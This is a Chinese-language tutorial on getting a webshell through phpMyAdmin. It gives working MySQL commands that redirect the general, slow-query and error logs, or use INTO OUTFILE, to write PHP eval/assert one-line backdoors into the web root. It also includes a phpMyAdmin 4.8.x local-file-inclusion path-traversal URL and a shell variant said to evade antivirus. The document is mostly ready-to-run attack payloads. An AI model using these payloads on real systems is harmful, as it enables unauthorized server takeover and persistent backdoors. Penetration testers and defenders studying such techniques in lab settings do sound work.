title: phpmyadmin中getshell的几种姿势
1,利用全局变量general_log去getshell
show variables like ‘%general%’;
然后将general_log打开,执行命令set global general_log=on;
因为phpstudy默认的根目录是/phpstudy/www/,所以接下来只需要修改日志文件的位置到网站的根目录下。
set global general_log_file=‘C:/phpstudy/www/v01cano.php’;
验证文件是否存在
访问该文件后发现,日志文件正常解析了,说明修改路径成功。会以文本形式显示的原因是由于没有<?php ?>
php标记。
写入一句话木马:
select '<?php assert($_POST["v01cano"]); ?>'
这个就会记录到刚才的日志文件中。然后我们用菜刀连上。
2,利用slow_query_log慢查询日志getshell
首先使用命令show variables like '%slow_query%'查询慢查询日志的状态,默认是关闭的
执行命令SET GLOBAL slow_query_log=ON开启慢查询语句。
执行命令set global slow_query_log_file=‘C:/phpstudy/www/v01cano.php’;修改慢查询日志路径。
修改成功:
尝试直接写入shell,发现其并没有被记录进slow_query_log_file中即v01cano.php中,于是查询相关慢查询日志的说明得知,只有当执行的sql语句超过慢查询的阈值时,才会被记录其中。于是尝试使该sql语句执行的时间变长:
select '<?php @eval($_POST[v01cano]);?>' union select sleep(10)
即可成功将一句话木马写入v01cano.php文件中:
使用菜刀连接,成功getshell:
此处也可以修改慢查询的阈值getshell:
show variables like 'long_query_time'; #默认为10秒
#执行命令修改long_query_time的默认值为0.000001秒。
set global long_query_time = 0.000001;
#写入shell
select '<?php @eval($_POST[v01cano]);?>' union select sleep(2);
#即可成功getshell。
3,利用log_error错误日志getshell。
show variables like 'log_error';
#该日志会将phpmyadmin登入的用户名记录在其中,可以将一句话木马,通过用户名的登入框写入到该日#志中,当该web站点存在本地文件包含漏洞时,可以配合该漏洞getshell。
4,利用phpmyadmin4.8.x本地文件包含漏洞getshell
靶机地址:https://www.vulnspy.com/phpmyadmin-4.8.1/
由于vulnspy靶机无法连接数据库,我就直接使用docker创建靶机环境了。
首先直接创建靶机,然后登录phpmyadmin,
本地文件包含漏洞测试:
http://192.168.174.130:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
getshell测试:直接写入select ‘<?php phpinfo();?>’
执行之后如图:
然后推荐一篇文章:
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd
5,利用into outfile写入;
#mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出
#查看该参数:
show global variables like '%secure%';
#当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误
#要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件
#在[mysqld]内加入secure_file_priv ="" 即可
#写入shell
select "<?php @eval($_POST['v01cano']);?>" into outfile 'C:/phpStudy/WWW/v01cano.php';
6,补充,有时候在使用大马写入shell的时候遇到分号就会结束,这个时候可以考虑写入如下shell,而且免杀,嘿嘿。
select '<?php eval($_POST[v01cano])</script>?>'